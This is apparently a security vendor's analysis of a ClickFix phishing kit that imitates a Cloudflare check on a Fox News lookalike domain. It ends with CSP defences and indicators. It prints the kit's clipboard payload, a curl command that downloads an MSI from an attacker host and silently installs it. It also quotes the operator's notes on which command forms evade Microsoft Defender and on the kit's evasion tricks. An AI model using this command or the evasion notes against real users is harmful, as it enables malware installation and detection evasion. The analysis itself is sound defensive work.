Inside a ClickFix Malware Kit: The Attacker Left Their Notes Behind

Most ClickFix pages we look at have been minified, obfuscated and stripped of anything human, but the one we're about to talk about hadn't. It was a fake Cloudflare check sitting on foxnevs.com, one letter off Fox News, and it still carried the author's comments. They're in Russian, they're written for the person deploying the kit, and they read like an operations manual: where to paste the payload, which command forms Microsoft Defender catches, which one still gets through, and how the page knows a victim has really run it.

We're calling it the Build Card kit, after the term the comments keep coming back to. Every deployment gets its command from a "build card" in the operator's panel.

The lure

If you've seen a ClickFix attack before then you know what their approach is. It starts with a convincing "Just a moment..." screen, with a reCAPTCHA style checkbox to prove you're a human, then some form of challenge you have to complete. This one was especially well crafted:

It's very convincing because it's a near perfect mock. There are no typos, the flow is smooth, and it behaves exactly how you'd expect it to behave.

Verification request could not be completed. Error code: 300010Press ⊞ Win + R on your keyboardPress Ctrl + V in the window that opensPress Enter to finish verification

By the time you read that, the page has already put this on your clipboard:

cmd /c curl -gkso %TEMP%\wud.msi https://update.neewsoo.com/dl/kb1000070.msi?v=<visitor id> && msiexec /i %TEMP%\wud.msi /qn

Download an installer quietly with curl, then install it silently with msiexec. The styling is lifted wholesale too, confirmed by a comment above the CSS: "базовые стили — скопированы с настоящей CF challenge-страницы", "base styles, copied from a real CF challenge page". It even fills in random Ray IDs and fake _cf_chl_opt challenge parameters so the page looks right to anyone who opens DevTools.

The operator's notes

The very top of the file is a boxed comment for whoever is setting the kit up:

<!-- ╔══════════════════════════════════════════════════════════════╗
     ║  ★★★  КОМАНДА — МЕНЯТЬ ЗДЕСЬ (строка ниже)  ★★★              ║
     ║  Вставляй команду из карточки билда КАК ЕСТЬ — с ОДНИМ        ║
     ║  слешем (%TEMP%\wud.msi), ничего не удваивая и не правя.      ║
     ║  Этот блок — простой текст, никакие экранирования не нужны.   ║
     ╚══════════════════════════════════════════════════════════════╝ -->

★★★ COMMAND — CHANGE IT HERE (line below) ★★★
Paste the command from the build card AS IS — with ONE backslash (%TEMP%\wud.msi), don't double anything and don't edit it.

Below it was something quite handy, a changelog and a detection report in one!

/* ВАЖНО: ФИНАЛЬНАЯ команда (13.09.2026, откатка по решению юзера) =
   curl + /dl/kb<token>.msi. До-фиксная форма НЕ детектится (эмпирика юзера
   на его машинах), /f/-вариант — детектится и полностью откачен (инфра
   /f/ в коде панели спит, не используется). При новом билде просто
   замени команду в блоке payload-cmd-src наверху на свежую из карточки.
   ЧТО ДЕТЕКТИТСЯ (проверено на свежих сигнатурах Defender):
     - powershell+iwr+msiexec        → ClickFix.CCA!MTB
     - голый msiexec /q /i http://URL → ClickFix.SFB (UNC-форма — чисто!)
     - net use \\host@SSL\... && Z:\x.cmd → ClickFix.PL!MTB
     - rundll32 \\...\file.dll,#1    → ломается о парсинг Run-диалога (запятая)
     - curl/certutil + URL в интерактивном cmdline → Commando.A!ml (только на
       горячих машинах; до-фиксная curl-форма на свежих машинах чистая)
     - сокрытие окна (conhost --headless / start /min) → Commando мгновенно

IMPORTANT: FINAL command (13.09.2026, rolled back by the user's decision) = curl + /dl/kb.msi. The pre-fix form is NOT detected (the user's testing on his machines); the /f/ variant is detected and fully rolled back.

WHAT GETS DETECTED (checked against fresh Defender signatures):powershell+iwr+msiexec → ClickFix.CCA!MTBbare msiexec /q /i http://URL → ClickFix.SFB (UNC form is clean!)net use \host@SSL... && Z:\x.cmd → ClickFix.PL!MTBrundll32 \...\file.dll,#1 → breaks on the Run dialog's parsing (the comma)curl/certutil + URL on an interactive command line → Commando.A!ml (only on "hot" machines; the curl form is clean on fresh ones)hiding the window (conhost --headless / start /min) → Commando instantly

Those are real Microsoft Defender detection names. The operators are testing each way of getting a download onto the machine against current signatures, writing down the results, and picking whatever still passes. On 13 September that was curl into %TEMP% followed by msiexec, and that's what was live on foxnevs.com when we fetched it in November.

It's also a neat summary of why endpoint detection alone is an arms race. Every line on that list is a detection that works. The kit just routes around all of them.

How it knows you ran it

The clever part is the confirmation. Each page load makes a random visitor ID and bakes it into the command as ?v=<id>. When curl fetches the MSI, the panel logs a hit for that build and that visitor. Meanwhile the page polls the panel every 2.5 seconds:

https://update.neewsoo.com/api/telemetry/check?id=kb1000070&v=<visitor id>

Only when the panel confirms the download does the page say "Verification successful." and send you on to a real Fox News politics article. The comments explain why it's that strict:

// Успех = ТОЛЬКО маячок: команда всегда качает MSI с пер-посетительским
// ?v=<id> → панель пишет hit → поллинг ниже его видит. Никаких
// blur/focus/paste-фолбэков (были: ложные «успехи» от простого
// alt-tab'а жертвы = растворённый оверлей без запуска = потерянная
// жертва). Не выполнил команду — крутимся в "Waiting..." сколько угодно.

Success = ONLY the beacon. No blur/focus/paste fallbacks (there were: false "successes" from a victim simply alt-tabbing = overlay dissolved without the command being run = a lost victim). Didn't run the command — keep spinning on "Waiting..." for as long as it takes.

They used to let people through when the window lost focus, on the assumption that meant the Run dialog was open. Too many people just switched tabs, so they took it out. There's no way past this page except running the command.

The next line could be relevant to a browser permission prompt we hit while testing:

// Буфер перезаписываем периодически — вдруг жертва что-то скопировала

Re-write the clipboard periodically — in case the victim copied something.

Every 8 seconds the page writes the command back to your clipboard and in Chrome, it triggers a permission prompt with the wording "See text and images copied to the clipboard". The page never reads your clipboard, but the prompt makes it look like it wants to, which was worrying at first.

The next version already fixed that

The same operator runs at least three more lures on the same server: gate-air.com and coihstats.com, imitating the Gate crypto exchange and CoinStats, and a clone of an adult video site. The first two use the same template. The adult-site one is newer, and its comments show the kit moving on:

// ТОЛЬКО execCommand: синхронно в жесте клика, НИКОГДА не просит разрешений.
// navigator.clipboard НЕ используем вообще — именно он выкидывает промпт
// "wants to See text and images copied to the clipboard".

ONLY execCommand: synchronous inside the click gesture, NEVER asks for permissions. We do NOT use navigator.clipboard at all — that's exactly what throws the "wants to See text and images copied to the clipboard" prompt.

The newer template also:

• Skips Russian speakers. A list of 16 language codes covering Russia and the former Soviet states gets no payload. The comment: "All languages except CIS. CIS deliberately NOT — such visitors go straight to the official site after the gate." It's the oldest tell in Russian-speaking cybercrime, written down in plain text.
• Shows a clean site to moderators. Every link on the cloned home page points at the real site, labelled "анти-модерка", "anti-moderation", so whoever reviews a report sees something plausible.
• Fakes a Windows error instead of Cloudflare. After a fake Chrome notification prompt and a fake age gate, it shows a full-screen blue Windows Security screen: "Media protection component corrupted", with the "repair command" already on your clipboard. It's translated into 17 languages.
• Takes orders from the panel. The page asks the panel for its current command and an on/off switch. The comment says it only turns off on an explicit false; "any garbage/404/old panel = ON".

What the MSI does

The installer claims Microsoft as its author and describes itself as an "Update". It was rebuilt on the day we downloaded it, and its hash wasn't on VirusTotal. Inside is a packed update.exe. Static analysis and emulation show it dropping into %LOCALAPPDATA%\KBUpdate\, then beaconing to check.neewsoo.com and to port 8080 on the panel's IP for its next stage. We haven't seen that next stage, so we won't guess at the family.

The infrastructure is small and recent. neewsoo.com was registered on 3 September and its panel sits on a Proton66 address in Russia, a network that turns up again and again in malware reporting. foxnevs.com was registered on 17 September and the lure page is timestamped 17 minutes later, on a VPS shared with the other lures and, before September, a string of online casino domains.

Why this matters if you run a website

foxnevs.com is attacker-owned, but the kit isn't meant to stay there. The comment above the main block says: "весь этот блок можно вставить в любой сайт перед ", "this whole block can be pasted into any site before </body>". It's built to be injected into sites people already trust. If that's your site, your visitors are the ones being told to press Win+R.

That's also where it's weakest. The kit is a large inline script that talks to an attacker's server:

1. script-src without 'unsafe-inline'. A nonce-based policy stops an injected inline block like this from running at all, and reports the attempt.
2. connect-src. The confirmation polling and the newer template's config fetch are both requests to the panel. A connect-src that doesn't list it blocks them and reports the host. That won't stop a victim who has already pasted the command, and the newer template stays armed if it can't reach its panel, but it tells you about the injection the first time a visitor loads it.
3. Report-only first. You don't need to block anything to see this. A report-only policy would show neewsoo.com in your reports the first time the kit fired.

Indicators of Compromise

These domains are in our threat intelligence feed, so Report URI customers are alerted if any of them appear in reports from their sites.